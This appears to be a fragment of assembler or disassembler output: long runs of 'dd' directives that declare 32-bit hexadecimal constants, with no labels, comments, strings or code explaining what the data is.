		dd 27C81BC8h, 3B905700h, 0EA88D9FDh, 0C74D0CE9h, 0B7B0A60Ah
		dd 1BF8B808h, 87186247h, 0B3000211h, 0D22F26ABh, 63CFC0C1h
		dd 68A7034Eh, 0E3E089Eh, 3AFFF0E7h, 0ED00EAEFh,	5E027AC5h
		dd 0B31643h, 8F7E2B31h,	0A6929683h, 27697500h, 22A14DCh
		dd 0DD2900B6h, 4BEDC324h, 9048F863h, 789503F2h,	0A8E222B9h
		dd 0CA8C93h, 0DEAED5CBh, 98519243h, 41731900h, 843DE4F3h
		dd 0F5B300BEh, 5469B937h, 70008F9h, 7D99EC12h, 7CEBC2D9h
		dd 23A7468h, 0FD479C42h, 4075DDC5h, 758B9BC4h, 539601A9h
		dd 4F0302D3h, 58CE43FCh, 0B340AFF8h, 99E1E600h,	26E4E8B9h
		dd 7AEB098h, 3B950444h,	620697CDh, 9CA09DF0h, 767EB37Ch
		dd 28A2132Eh, 33745628h, 4721A860h, 0F8ED7EBBh,	982C0030h
		dd 44B8D10Bh, 516FDEEEh, 0AC85F151h, 0BACD817Eh, 96285233h
		dd 7EB44E20h, 0E071FC90h, 4CE80676h, 21994426h,	4F7B1501h
		dd 92089AB4h, 0C4F7AAD4h, 0C69FD868h, 0F4670B4h, 7F7EAE09h
		dd 70338905h, 7EB65C60h, 2F061390h, 0E0524F9Eh,	23C8AB50h
		dd 0B0010151h, 9A13757Eh, 88AA8858h, 7E01B85Ah,	3AD32B29h
		dd 198B9E57h, 5820FEB3h, 6C283DC9h, 0C20034E6h,	0FCA41190h
		dd 9510866h, 0C7B49C61h, 56B70890h, 43154502h, 6353EA57h
		dd 0BE08308Ch, 455E8921h, 0D4EE7F24h, 1D92C00h,	724BF1BCh
		dd 0D6BE0CCCh, 9AD07717h, 805E9C13h, 0E6894D18h, 610D00EAh
		dd 98ACCA7Fh, 8CA1287h,	20154F3h, 93A8C50Dh, 37BE0F0h
		dd 136EC1B9h, 82AFD745h, 0C480B167h, 1AB419A6h,	921DDE00h
		dd 7A94599Ch, 27F05Ch, 0F18FB2F3h, 9A18CBF4h, 0CC9939h
		dd 34F57A4Ah, 1DFE6D6Bh, 40494B0Fh, 0D187E817h,	0AF00C4D5h
		dd 0FA6CF475h, 0A1CBABh, 63B43C9Ah, 8DC8BCB1h, 0D19D9400h
		dd 0DD78BBAh, 829B0048h, 19E7546Ah, 2F4B0C8h, 330FC900h
		dd 0AE8CBAB8h, 3A527639h, 8F0050D8h, 45F473E0h,	0C203DA84h
		dd 0EAD2BC65h, 95C6A564h, 0CD0C0320h, 0C4E1DF45h, 8480CAB0h
		dd 53AE0518h, 0FCE62740h, 34DF065h, 6E37FCB3h, 0D6E1853Fh
		dd 184AC777h, 6231E8E8h, 8728CC18h, 0F7063938h,	6708104Ah
		dd 59E01975h, 3759D05Ah, 7B6008A2h, 2771BC69h, 6F833607h
		dd 0BD460A0Fh, 20A10021h, 69A44F68h, 0A5633886h, 0E16BCE19h
		dd 280C74Ah, 0D7AB9EF4h, 0A5067BDBh, 668FDCB1h,	0C48A3B78h
		dd 4D8D8700h, 22E0AA9Ch, 81C04398h, 0E290776Fh,	1974760Bh
		dd 87C0229h, 0C2218076h, 0CD78907Fh, 1BDE18E5h,	91D0D886h
		dd 29BB7308h, 0B932078Fh, 0B5B37121h, 0C5DA209Ch, 210D08CCh
		dd 21B200E8h, 0A44A87DEh
		dd 913CD36Fh, 797318D6h, 1451B150h, 0BCE7BFD8h,	0A685013Ch
		dd 8083D15Ah, 0B547F6D2h, 6B0F501h, 0D032ECA3h,	5A18D4h
		dd 1F307DE5h, 4FFE332Ah, 8116753Ah, 9F15EEB6h, 0CC860F4h
		dd 0CCC30558h, 0C00A3A52h, 0B809903h, 0D46E1E07h, 80B92941h
		dd 0A11F89FBh, 0BFDE00A9h, 0E23D4802h, 0BB035E4Bh, 648AB969h
		dd 4D82B887h, 7CF200C9h, 504FD779h, 0B90085DFh,	0C0E2249Ch
		dd 0F9D57F3Ch, 0BB7220h, 97A4A0CEh, 405E15F8h, 0A8C0837Ah
		dd 0DE313C16h, 0AA660096h, 74AF35Fh, 0CF4839CCh, 0B3F00A0h
		dd 58F09370h, 0D3F80235h, 69FD726h, 0BA6E7B40h,	0F4F57500h
		dd 7ABDD095h, 55D30074h, 13C38823h, 0B1007937h,	0D92ED6B8h
		dd 63D1BAFBh, 2C26500Ah, 0C604A0D8h, 56032B07h,	0B2508A7Bh
		dd 17CBEA9Dh, 15ED8ABh,	14B72533h, 943DFCCFh, 9A51B800h
		dd 7AFE4256h, 500D00CEh, 0C0545AE4h, 740096B4h,	3B706073h
		dd 7763DDE7h, 0C6A300A9h, 0D1893C13h, 0E50012D2h, 0CC7A747Bh
		dd 0FF2ED4h, 928F5493h,	1C376D2Bh, 672DAA00h, 0D941F6CFh
		dd 937F00D3h, 26C7E8A2h, 69004C38h, 0EC2BCC0Eh,	0E0AF78h
		dd 3AC97EAAh, 1F7CB6D7h, 0FD4A2C00h, 0B2E612Ah,	0ED482946h
		dd 23F605D4h, 849407A7h, 85CB20D6h, 6C58A8CFh, 5DFD00F5h
		dd 870E5706h, 3D080054h, 0F6C0A718h, 2E3FEC44h,	3327188Ah
		dd 197DE68h, 4002A87Eh,	0F8A96E50h, 3103ED61h, 0B479D472h
		dd 0D7EF90BFh, 2E030011h, 0F65DAB87h, 220023E6h, 262A5CBDh
		dd 4AD430h, 16535B11h, 692A0FBh, 0A4894700h, 13DB6642h
		dd 0AC9900BFh, 672F2B10h, 0E80EF10Bh, 801654F8h, 0B6CAC5DDh
		dd 743300FAh, 0DE52191Bh, 0F7015562h, 58C17FABh, 0A0D2652Bh
		dd 945A61FCh, 1BC7785h,	419EEA76h, 204259BBh, 0E300B860h
		dd 0AE61AF93h, 428FD52h, 9CAC7FE7h, 3BC18360h, 6C2C3CB0h
		dd 0CA54EF73h, 8F70DBB8h, 2E00AAE4h, 99D8A89Eh,	128ECE7h
		dd 0B89CC6E1h, 800CFEF9h, 6827FD80h, 0A09F6C95h, 16AF4F8h
		dd 0B734D37Dh, 0C4640538h, 33009109h, 0BD8769DEh, 749C9B86h
		dd 0C7A901DCh, 4F984EACh, 0CF628001h, 8DB73CADh, 37FD00C1h
		dd 126AD659h, 76004302h, 9BA31D71h, 17BEE8h, 57FDE03Fh
		dd 0B6CEF951h, 0CD2BC918h, 3DB33C0h, 36D88F2h, 0B588D33Bh
		dd 0F9026E1Ch, 738B49FAh, 24E840DDh, 18087384h,	623630AFh
		dd 0E61F4B2Bh, 0CC40530Ah, 77BD8271h, 0B53C02B6h, 7F13D4CFh
		dd 0FBC5E048h, 0B881E700h, 0B0395E55h, 0EC3873BBh, 778A0037h
		dd 0DC74358Ch, 71015B18h, 6E89A98h, 6AE82C16h, 0A05C030Eh
		dd 5786D5CEh, 11602FD8h, 0C1C1AD71h, 0CB4622DDh, 0D78887C2h
		dd 60408DD2h, 1DEFA4F4h, 2E3E9189h, 70350E30h, 4A562EEh
		dd 768AC0FFh, 0C774937Ah, 41E98260h, 3D1EB2Bh, 984AEDFh
		dd 529094E6h, 0D300BE2Ch, 59EDFDF8h, 74D98C78h,	0BA99006Dh
		dd 873129CEh, 7E180DB7h, 8E27CA5h, 100E6E21h, 2D3FC0C0h
		dd 4D00ABB7h, 0EF40325Bh, 0A290C4h, 7A441D1Bh, 0D79F026Eh
		dd 8E16D300h, 0E3EFDDCCh, 10650406h, 80322FBCh,	0D8125238h
		dd 0C6704377h, 0E3017977h, 66F2E89Dh, 7FF00E8Dh, 521C0018h
		dd 0C4B64415h, 580021C9h, 42CE7276h, 3D07A4Bh, 3324F703h
		dd 1A05A9Fh, 0EC097866h, 80E7D299h, 8C5419C9h, 4E0001Ch
		dd 42D7B50Bh, 5D03ECACh, 5E6D3447h, 0D3FBB95Bh,	1E48FD4h
		dd 6538B09Ch, 24E669F5h, 83E0448Ch, 0D9F0D405h,	6987066Eh
		dd 22765DD0h, 2CFC074Ch, 90F24962h, 97ED162Bh, 0A2484C98h
		dd 0AFDA0C34h, 8910A8h,	0B1B67C88h, 32C161C4h, 3A189660h
		dd 144EA98Bh, 0DC128882h, 0F0211300h, 782E2A5Bh, 0B3D0C90h
		dd 0E6328086h, 74EC6A27h, 0ED5C0576h, 0A6D4BBh,	0AE6C38CCh
		dd 0CD04294Fh, 0FE03A760h, 0AFA4E481h, 38301DF4h, 64800C4Ch
		dd 0DDF5F028h, 550AF3B3h, 84C6F14Bh, 0AAD6AF00h, 322DD8D5h
		dd 0D76272FFh, 1D079880h, 87008B31h, 0ADDAB1A2h, 0FED47Eh
		dd 2A14A903h, 0F950FC7Ch, 0F8B34F01h, 0AA6BB9D9h, 1C17F2E4h
		dd 40875319h, 446F210Bh, 4EF0CC71h, 0FF00B87Fh,	896CE2F6h
		dd 5C26AE7h, 0F9244C05h, 0BC75C002h, 0A4007B0Eh, 5871603Dh
		dd 589B1D63h, 1850ADCFh, 0A6EE0062h, 10ECD19Ah,	7C2613D3h
		dd 22006C4Dh, 0AB6D0A86h, 5BFB00C3h, 2309852Ch,	7F034661h
		dd 782D06C2h, 366FC807h, 0EE82008Bh, 0A31F626h,	2E00AC63h
		dd 6DCC21EAh, 7140CC8h,	877C5189h, 324720D6h, 93C4E6Eh
		dd 0D0CB0064h, 29D463E2h, 244D30DFh, 3D19F429h,	0A36BC200h
		dd 18B4D503h, 12FC00DFh, 0B3D75BB1h, 245CDEC8h,	72820054h
		dd 0B585923Eh, 0B9E2BEh, 2614686Ah, 0CCAE3C7Bh,	445DD800h
		dd 10B6E01Dh, 97A50020h, 534E5881h, 3549C6C3h, 0FC541654h
		dd 76696000h, 30E6D499h, 0B1F297CFh, 6F00A5C9h,	0B493028h
		dd 7065FDh, 935AB685h, 382D1534h, 0A1F9D91Eh, 0FE5E675Ch
		dd 8200EB5Eh, 942F3320h, 9047434h, 0BA75A0AFh, 0B73758A1h
		dd 98A46415h, 879A1807h, 2344309Bh, 0F4181586h,	4310DEF8h
		dd 9C6EB3EEh, 540E2002h, 8FB4373Fh, 2C104C20h, 301F5014h
		dd 1D0F7D01h, 0C36C2F30h, 9D84F9C8h, 0C2B5039h,	0A080BB54h
		dd 600F0CB6h, 0C728393Fh, 75F612Ch, 30AC370Ah, 0B5E67A03h
		dd 47D48891h, 26A70EC9h, 801FFF5Bh, 311F1070h, 8E00ADB5h
		dd 0EE812454h, 1779512h, 0B68F2A8Dh, 602D145Eh,	7807A6F0h
		dd 71E74727h, 0FEF658D0h, 2E4A00C6h, 0EA3AA763h, 3F3D98F2h
		dd 2811FEBh, 0B642FC7h,	4FF31590h, 0E5A21D08h, 6D4E4C29h
		dd 7270B6E8h, 865FB500h, 0A82DD140h, 4EF618EEh,	580D217Eh
		dd 0A648E500h, 65E4636Ch, 21DD1FFDh, 8743DEC4h,	360C6D4Fh
		dd 39033169h, 73B00E85h, 0A8BCF35Ah, 1DE2557h, 37E098FAh
		dd 0C0DB9988h, 6C2859F9h, 0EB49B8D5h, 4F330C24h, 0E28C4968h
		dd 9F900040h, 0BF60108Eh, 850375ABh, 63693BF7h,	2DD2A849h
		dd 189A001Ah, 0B253C9B9h, 0BC015D75h, 85F9F3FDh, 0ED43A130h
		dd 568EE0B3h, 55E57913h, 93F3CC22h, 99B9B82Eh, 75C51F17h
		dd 12CD00DBh, 0DC98530Eh, 13F4B01h, 834E302Ch, 0D6FEF850h
		dd 72956107h, 0C09B9921h, 360B1D3h, 0DBF27C21h,	0A0AB002Dh
		dd 24D44B6Ch, 291406D8h, 374B320h, 749231FCh, 0B1210047h
		dd 5EB370BBh, 3906AF83h, 4D966A61h, 7B0CCC31h, 0BE01EB38h
		dd 0F019251Eh, 9C4CCA21h, 3A910010h, 28D0ED61h,	0BD01D13Bh
		dd 62D703A9h, 6BDCCCA0h, 0C2080E83h, 8745B1D5h,	8B042CD4h
		dd 30737101h, 31D0533Dh, 6735DE83h, 8D90D152h, 5A1DA741h
		dd 38183F5Ch, 0FC8F2721h, 25E300AFh, 1C56602Eh,	8E703C4Bh
		dd 0E73DB9F2h, 50B38331h, 0C0B8B1C4h, 4DD5BFh, 644281E2h
		dd 0A739D995h, 388D80C0h, 0F00EF52Ah, 7327025Eh, 0D4BFCD1Bh
		dd 118816E3h, 9D60967Eh, 0FCA3D520h, 0D8202921h, 4046C220h
		dd 35C8C30h, 3CAF225Ah,	88C033A5h, 0F72A756h, 0DE706803h
		dd 15CB5E65h, 8C090CB9h, 0CC9D4A00h, 9EFB4C63h,	3DD15003h
		dd 0A3063202h, 8410A5F5h, 741239Ch, 22D5527Bh, 0DD19326Dh
		dd 0F8821B11h, 0F802A9B6h, 1DE43C15h, 28C4910Fh, 9882D3F5h
		dd 0CF275571h, 0B26D4A1h, 51E1D0ABh, 30D63A33h,	0EDEEF089h
		dd 58DE33h, 787C48A7h, 87073A2Bh, 98E1B4D1h, 2085444Dh
		dd 7C43F4h, 9B4C809Ch, 0EA03CBF0h, 0C51556D1h, 0BDEFD9D5h
		dd 7491718Bh, 597C8057h
		dd 7E4CA1BCh, 0C0A9E811h, 0DD1CFA21h, 6700E839h, 9633C895h
		dd 0A1A70244h, 0A01708A0h, 0C04E40E2h, 9C09DF00h, 0C99A1DFFh
		dd 9C8B5022h, 79028C43h, 5D52E351h, 1137193Fh, 9FF88115h
		dd 4850010h, 0AA22A072h, 8452D5C6h, 0DD78025Ch,	3179323Bh
		dd 20FE10A4h, 83D00DDh,	591A94AFh, 0D33E6C16h, 0A88A29FCh
		dd 0FC18B979h, 5692B300h, 7AE45522h, 93732866h,	706A0084h
		dd 4A4DF74Ch, 0FB006DB6h, 919B6E36h, 17AAF8Ah, 209DA1B3h
		dd 42954DCAh, 62304288h, 43D47252h, 6E108065h, 445E751h
		dd 0EE77D7C9h, 0DA1C80BBh, 0CF48FA1Eh, 388603B8h, 0E00A1A59h
		dd 604B2452h, 254518EEh, 0D63A679Ch, 345CC7Ch, 1F2B6F31h
		dd 0FBFA87Eh, 69E96059h, 8513807h, 0EF5D9D07h, 1CB0A3E0h
		dd 122B200Ah, 0DA67A7h,	0FE6FE3CCh, 11C08C8Eh, 0F8C687EEh
		dd 9EED26E7h, 6B9B8034h, 0E3524D29h, 1EE4FC09h,	0A2142193h
		dd 0E18A68E9h, 80B0C3F2h, 0C8049764h, 161C3053h, 0E3408D2Ah
		dd 4D38894Ch, 80720FDFh, 95E06818h, 8F7C9A3h, 0E9F83454h
		dd 49B4E432h, 6890B087h, 0C133206Fh, 0A08A0400h, 833F1F54h
		dd 0D30F09ABh, 283081D5h, 3A10DD23h, 0BE02132h,	163FDA2Bh
		dd 2701FD84h, 75632AF0h, 0D4C068DFh, 0D174917Ch, 951839h
		dd 2FC794CDh, 550E42E6h, 5A301CF4h, 1640B897h, 0D0AE67EAh
		dd 0E688815Eh, 0EB50F0D2h, 0F5C4520Ch, 109828ABh, 50A95610h
		dd 381A8C4Dh, 9D10C30Eh, 81E11138h, 0B2E556Bh, 0A08B35E4h
		dd 4845B6ECh, 0E0007801h, 6A250A4Dh, 7E2427CDh,	34A648D0h
		dd 0F21C8C83h, 0CC9842CBh, 770C6A3Eh, 0F4119F08h, 6790DF00h
		dd 9D313D8Ch, 8E76615h,	4E0021FEh, 8A7C90E9h, 422687Bh
		dd 0F7662897h, 0DA1C980Eh, 0C0CCBF1Fh, 6CDEE900h, 23E2F4h
		dd 680D0A44h, 0C73891ACh, 11794CB0h, 6351E288h,	10A41BEh
		dd 8AFD7101h, 714698C4h, 7937CEC4h, 0E5B5C97h, 15226D00h
		dd 0FE876664h, 0AF5680A0h, 0A0E84B24h, 1B5ECC03h, 7D181EA1h
		dd 891824B2h, 0B402F633h, 380A36A6h, 63EE6D08h,	32F1DD6Fh
		dd 88971881h, 0DD0077E7h, 2A969D0Bh, 0A8E454B6h, 9CB5D0h
		dd 8EE07F73h, 0FA130DC8h, 0B2294801h, 0CD596E21h, 6A142980h
		dd 49A65068h, 0E4CA1006h, 73F1D656h, 258CA036h,	661684CBh
		dd 383E9256h, 5B00A623h, 0E4765E03h, 28AE0033h,	53D2FE5Ah
		dd 0CE029C6Ch, 0D309A27h, 90441A7h, 0ED8D7410h,	0C3AEA100h
		dd 0C7828E46h, 9072005Ah, 3D886FEFh, 0F876D34Ah, 350B7F00h
		dd 5631F711h, 81A105A3h, 43BBEF8Eh, 4AF1A98h, 37688F88h
		dd 0D6154E28h, 4F595607h, 8019DD89h, 6F530954h,	14D64C7Ah
		dd 0DFDAE4C3h, 5B0466D8h, 9E7B30Ch, 7B68A106h, 0F1253E7Fh
		dd 7BF671Eh, 60C5D988h,	0A32C5235h, 37A08750h, 2BFDF895h
		dd 19CFCD5h, 2B227C3Ah,	88C0184Ah, 7C0045F2h, 69134412h
		dd 17214E6h, 706625B3h,	212F6F7Fh, 6BF76010h, 92AB112h
		dd 90E4A030h, 158B2178h, 90FB40CEh, 18BE96F2h, 19102CE4h
		dd 0CA2E1E2Dh, 5786A0E3h, 0C4C0925Bh, 30082060h, 237A90D6h
		dd 0F911C58Ch, 90EDD306h, 0B4CEEF0h, 5CF40093h,	0B6CA2350h
		dd 889548C9h, 14872C04h, 21808339h, 5449DAB0h, 41269AB8h
		dd 465EC0C5h, 282E0096h, 50BE7DCFh, 6B1913AFh, 23BC3AADh
		dd 1E80002Eh, 56D6975Fh, 0A4F6483Ah, 0B608D85Bh, 0D1590C35h
		dd 0D750D531h, 900E75D8h, 21E4ED44h, 0EC8FE33Ah, 94D472CDh
		dd 68D91F45h, 25EA0198h, 93AD84CEh, 5706C7B9h, 0C3D12692h
		dd 65D72510h, 20D22AD9h, 0E3125608h, 0E090EDE4h, 75705Eh
		dd 99CAFABBh, 3047F101h, 7BCF8D04h, 60912250h, 0E440F6BAh
		dd 4CC587FDh, 9F801053h, 0A0F328A4h, 0F8973207h, 67B0EA85h
		dd 5E1E93h, 2A508E55h, 0D58BE7B9h, 15826FDh, 2B747C34h
		dd 0AD0C9C5Ah, 63D7088h, 8CC1837Ch, 5430E1E2h, 9EDA79D3h
		dd 101500CBh, 0E1FF5688h, 32019F37h, 76228319h,	0B0839A2Ah
		dd 0C4CCB323h, 94E2411Ch, 31F90A3Ch, 38ACB4D1h,	0C42DC70Ah
		dd 48E3E01h, 4120EF68h,	233D3206h, 74E14AB1h, 2892009Ah
		dd 0E8AD48BAh, 2D165000h, 0C07E8FD9h, 0F7CC7901h, 8A71D46Ah
		dd 0ADF2D022h, 0B36130h, 0D73717CFh, 9D0C7A10h,	823D753Ah
		dd 6A162C30h, 0BF38E8DFh, 0DE263A8Eh, 0C61E2A06h, 522C18BDh
		dd 0D50BA496h, 0B800336Eh, 4A3249DDh, 0F8BC2C89h, 19DD7600h
		dd 7A851F7Bh, 6F661034h, 0B563D05h, 9DD75832h, 80A39164h
		dd 77173DDEh, 0E8C224EFh, 0DF1008D4h, 0ADB62604h, 0A480F0A1h
		dd 163A9D4Ch, 0CE01BDEBh, 0CC1A5A15h, 6C6457A1h, 2B7A09ECh
		dd 8882B34Dh, 2000C19Fh, 30CE2D78h, 4C79A798h, 82F84907h
		dd 0A5AC444Ah, 67A1700Bh, 0AA118C1Dh, 4F6DB180h, 0F91DCFC5h
		dd 0DAC19FD1h, 5C9CA8D5h, 3412C441h, 56708A00h,	37C4A744h
		dd 0C3A0856Dh, 0BDE8E9FAh, 7D1B0972h, 0CA38044Ch, 0CE261025h
		dd 0B4449689h, 0A8E29CA2h, 0C849930h, 9BA32452h, 89033D78h
		dd 0AC975765h, 0E07AC52Ch, 0A11712Ch, 5E43FA5h,	0C8524644h
		dd 0CB01FDE0h, 72BC28F2h, 5ED04997h, 54350760h,	0A0F83FCCh
		dd 6A6EC348h, 0E880330Ch, 13B2883Eh, 222B1896h,	3B30FB0Ch
		dd 21237F7Ch, 0BB918742h, 7C1CF13Eh, 9D2880F2h,	0E433E8D0h
		dd 58F09624h, 5C4F8980h, 0A4EB6EB3h, 28C90090h,	3117D8DEh
		dd 5500234Eh, 425A5B6h,	366BDD0h, 0DC4C53B9h, 4FC1414Bh
		dd 0EE4088CCh, 681E80ADh, 0E09E1FB0h, 5F25F900h, 51EB3DFAh
		dd 0AC743824h, 848A416h, 2080CC0Ch, 0F4C6CFB4h,	0F9725970h
		dd 688EA449h, 0C07CD465h, 50E1E308h, 2C826094h,	863B6FAFh
		dd 0F9818994h, 869FEC41h, 0E4701800h, 90FB1D2Ch, 52E03E85h
		dd 88F204Fh, 0D4DF01E3h, 0BB983B4Dh, 6A170938h,	8950E8A9h
		dd 0D1962628h, 0C5C48564h, 48D0D09Ch, 77FC1ED2h, 0B14881FFh
		dd 0EC45BB81h, 0CF9E388Bh, 14025829h, 2800F4DBh, 50CB7987h
		dd 3A0F0AAh, 8E3C3B7Ah,	201F924Ch, 258A6F31h, 0D478206Ah
		dd 0C54C8CC4h, 8CA3BC64h, 8100E1FAh, 0C739DE6h,	451159Fh
		dd 380A86BFh, 8754B096h, 0C1E3B31Dh, 0C6922B5Eh, 0FCC0989Ah
		dd 0A729B7A6h, 9DDB9F00h, 0A95260Eh, 5D1B810h, 2E521C02h
		dd 4CE0009Ch, 300BB233h, 58000098h, 65F9C592h, 85B97Eh
		dd 22A3E5CFh, 21CAA1A0h, 0C772E00h, 43D60EBEh, 5CEF396Fh
		dd 4102FF00h, 8CB45603h, 7B942F0Eh, 90F48040h, 933463h
		dd 0B1F210EBh, 0C292915Dh, 0CA64F500h, 0AA98A3F4h, 0FC9700EEh
		dd 0BCCE4F57h, 4403BF15h, 0B43AD9E2h, 0AAA8B063h, 9860078h
		dd 1F4BAB0Bh, 0AC0564C8h, 854C999Fh, 623EDF00h,	7A68457h
		dd 0FCD644EFh, 0B5B260F9h, 1A00A1B4h, 1F0DDF12h, 130103Bh
		dd 0B8985F4Ch, 877948F3h, 0E56F9E38h, 0BCCF80F0h, 3AD7004Fh
		dd 8183631Bh, 0E8002634h, 7F6FF6B6h, 3CFE82CEh,	0DE0077A1h
		dd 7955E715h, 0D93C07EEh, 377080C8h, 0BBE281ADh, 7FCC7797h
		dd 307E24ACh, 5F17C0h, 767A718Fh, 91003503h, 0EC708F4h
		dd 1944512h, 0CE611BBBh, 0D8C1202Bh, 29002E0Bh,	23B6323Eh
		dd 0DC5964h, 38D5EA39h,	0A7FF8340h, 0FE48C204h,	0BCB4804Ah
		dd 3763007Bh, 0E1AAEC96h, 0FE00233Eh, 0BAC04F60h, 0CD3CC10h
		dd 9481E8A3h, 730EA451h, 23A29D5Ch, 0FF44291Ah,	68A36640h
		dd 0FD80BCAh, 9507451Eh, 483FEC4h, 3E80C68Dh, 8A00D271h
		dd 0EE3BA09Ah, 0A767B0h
		dd 88D4EC94h, 57FE76C7h, 0FA5260Eh, 0F07DC062h,	9846823Fh
		dd 817C00CDh, 0F21C8E96h, 0B7008423h, 366A0F06h, 0E0F4B0BDh
		dd 77FC1D07h, 9D013D03h, 7F7482C7h, 780DF837h, 8412D33Ch
		dd 93834C67h, 9C9381BEh, 0A6876053h, 76C5F500h,	0E9B00848h
		dd 66E800ACh, 0B715C2FAh, 0AA18192Fh, 1E28BD9Fh, 13C40056h
		dd 2BF28CCEh, 641E9777h, 3D4003E3h, 0DE239CFBh,	55590098h
		dd 3A2F940Ah, 49001945h, 0E14490E5h, 4DCCAD8Fh,	2B0C7C6Eh
		dd 807CFC64h, 7A9C9200h, 83CB9859h, 8C9A00BDh, 992F95ECh
		dd 7C07E129h, 9F88C2E0h, 44E35CB0h, 2C3301B1h, 663C916Fh
		dd 0D422D93Eh, 0CFEE8376h, 0C8DE5507h, 5AF0D919h, 47AEA6h
		dd 1F11DC34h, 29EC70CDh, 6A85691Dh, 5390CAC0h, 7DEA56EFh
		dd 0E81C0211h, 0F5264AFFh, 63051448h, 0DFA70801h, 0AE745D14h
		dd 60F29AF7h, 49C746E9h, 0CF002434h, 363024B7h,	72E0F342h
		dd 0D8930B00h, 0D54AD208h, 31470562h, 895DB8h, 0DE4C86D0h
		dd 8709BEE7h, 0E8C7AC36h, 33CBA8Ch, 0F06F70E9h,	0EED0DE4Eh
		dd 0E0ED0D60h, 3E007C68h, 0CB5C824Dh, 0EAE02A81h, 0A008008Ah
		dd 0C2863598h, 30BB59Fh, 80BD96B0h, 0CF41AD0Eh,	745300BAh
		dd 6A2B4988h, 133BE7F8h, 787F00DEh, 0E19B487h, 0B62C006Ch
		dd 0DCA958Dh, 6B001249h, 0ED96BED5h, 1E21C3A0h,	30F4518Fh
		dd 5FE11E20h, 77D93203h, 0F0CC3FF8h, 69125Ch, 16EDA29Ah
		dd 68B74584h, 4CAE700h,	6BE28F1Fh, 137F74E4h, 0C1A81D42h
		dd 832B4324h, 708D7548h, 72C7D8B5h, 157C072Fh, 700FD6A3h
		dd 0E764488Bh, 0BE551200h, 528373ECh, 2F737Ah, 0E7753A3h
		dd 9C09FC08h, 0C03C8C00h, 62DDCE81h, 46C60E36h,	0E140E72Bh
		dd 7C96D256h, 0F9D56803h, 80CBF549h, 53935BAh, 0B2F83DC2h
		dd 0C55C0A7h, 0B900C74Ah, 1161DF55h, 0C0D78E37h, 322C81B0h
		dd 8C0462D4h, 0CF7DC671h, 60042F82h, 5A74F4Ch, 6272699h
		dd 7D81F69h, 8F33B709h,	688B3FC9h, 0D65B9000h, 64E2AA67h
		dd 412EE100h, 5F47A4ECh, 78DB0C2Ah, 48500532h, 931AEB1Ch
		dd 5030E22Ch, 313CDCBh,	0BC65E8EEh, 0EAE2BB08h,	6F01707Ah
		dd 18019433h, 9C446DFCh, 3AFFE440h, 1F681409h, 40241585h
		dd 5B0DCC38h, 0C10095D3h, 2AA69864h, 7D30FB19h,	0AD170028h
		dd 0CB883250h, 26004066h, 63A1CF5Bh, 0E29DBh, 0E321B5D1h
		dd 4A7B5748h, 38F15A00h, 8620D087h, 0BB160003h,	0E728B785h
		dd 0EA00D474h, 0EDD6C5BEh, 6C6173A5h, 0B4A059CBh, 0EA96C800h
		dd 94671633h, 458500CCh, 0CA92B297h, 0C27AA95Ch, 0A25DFD00h
		dd 1D0DC131h, 976300E0h, 38935696h, 0EF002C47h,	4F4DEB3Bh
		dd 58F66467h, 0C700B495h, 6B6C0849h, 0EE3A0127h, 0CBF40170h
		dd 3D217610h, 5DEF60h, 1A4990DDh, 5C74D347h, 1D959600h
		dd 5E03A50Dh, 6F523ED0h, 97DC1939h, 0DAA2E600h,	0FF71ABCBh
		dd 0C000EDE0h, 3836BD03h, 58E4290Ch, 2B000C82h,	7E39CD80h
		dd 560EFA93h, 0A01B32D1h, 53D064C4h, 620E00DCh,	9473A0BDh
		dd 0E013DA1Dh, 944F118Eh, 0FEDD4277h, 0FA84C8BBh, 7F600F84h
		dd 407D2920h, 0D6A0C23Eh, 951E827Bh, 72C0E093h,	0E42AE6D5h
		dd 0C8810264h, 0F31C7997h, 0FC1DF449h, 0CB031251h, 0D12E5DB0h
		dd 70D7880Ch, 0F943010Ah, 113652EAh, 0C6C3D78h,	91A0D82Ah
		dd 2822EA2Dh, 12821A29h, 41B8F9B3h, 0BDE1343Ch,	31FB616Dh
		dd 7A19E1E4h, 0CA4F0h, 5AD0D531h, 9CCE9773h, 8A15F000h
		dd 8555BA3Bh, 1008009Ah, 12AAFA8Ch, 97004D5Ah, 0DB2B0BFEh
		dd 258FCE8Bh, 2C8092A7h, 3550E3CCh, 31341007h, 80EE20BDh
		dd 5AED379Dh, 62401DF4h, 6F1D30h, 0F812A90Ch, 0CEF8FCCDh
		dd 0B8556C30h, 17F4282Bh, 0C49D9B4Bh, 0DA09EE44h, 0DF95814Ch
		dd 0E8D1AC68h, 5A1E844Ah, 8F3D22E9h, 0EC658EE5h, 0D49A00EAh
		dd 0AE6047h, 3F54FD2Fh,	0D99E67DCh, 30008A4Eh, 12D478A0h
		dd 0BD0100C0h, 72BAD382h, 0E800C2BCh, 45AFE02Fh, 96B63Dh
		dd 0BE7B7A4Dh, 295A3A34h, 66C28409h, 0D7230079h, 1B11Ah
		dd 125F7A9Eh, 559BDECCh, 0B59816B8h, 0B8EA8000h, 0F6F5AB85h
		dd 0EB233F2h, 0EDE8BDB0h, 5371DEFBh, 8088673Fh,	57BF3127h
		dd 488C93h, 0B76D66BBh,	37C1AE55h, 0E2028502h, 40A52E2Bh
		dd 6CC64h, 0A96617F9h, 0B93B925Ch, 85E3AB01h, 0EA3CBC26h
		dd 0DEFF30h, 0B7DADD52h, 298E8AC5h, 782F4Dh, 17D6EA9Fh
		dd 0AE58A0h, 0D53AC1B0h, 0C68ADF54h, 2946A230h,	0DDFF77h
		dd 2A41DA2Bh, 0F31550CAh, 0A448C512h, 78984481h, 967D8h
		dd 0DA1CC492h, 0FCBD9B12h, 4C75DE0Fh, 944BCFh, 4736BC58h
		dd 49E6E5h, 953E6D76h, 8C0267EAh, 0A4823A00h, 7F9C1312h
		dd 78B40081h, 92D23C3Eh, 0B8189865h, 8070442Fh,	0E04D03AAh
		dd 0EBDBF224h, 0D64FADC8h, 87FDD72h, 84CAE200h,	9452B91Ah
		dd 0B8E4002Eh, 987AF990h, 0B6008A09h, 0FF4B8993h, 213C384h
		dd 0B033B55Dh, 0E64135FAh, 66B070C1h, 0E265AA00h, 0E44F0210h
		dd 33ED00C6h, 6B5B4497h, 0A4E89EFDh, 72EE3002h,	0E0FF5024h
		dd 8871F0A8h, 9002392h,	0CD2826C7h, 1DA7D120h, 462D819Ah
		dd 0E078AEC8h, 0FB0C0D72h, 4080E28Eh, 0DA0904C5h, 0A483BB15h
		dd 3B84AF8Ch, 6C85FF1Bh, 433992B6h, 9ECF87D0h, 0F5353BC8h
		dd 83690D3Ch, 0DB03CD61h, 0D6609F40h, 1308183Fh, 722855h
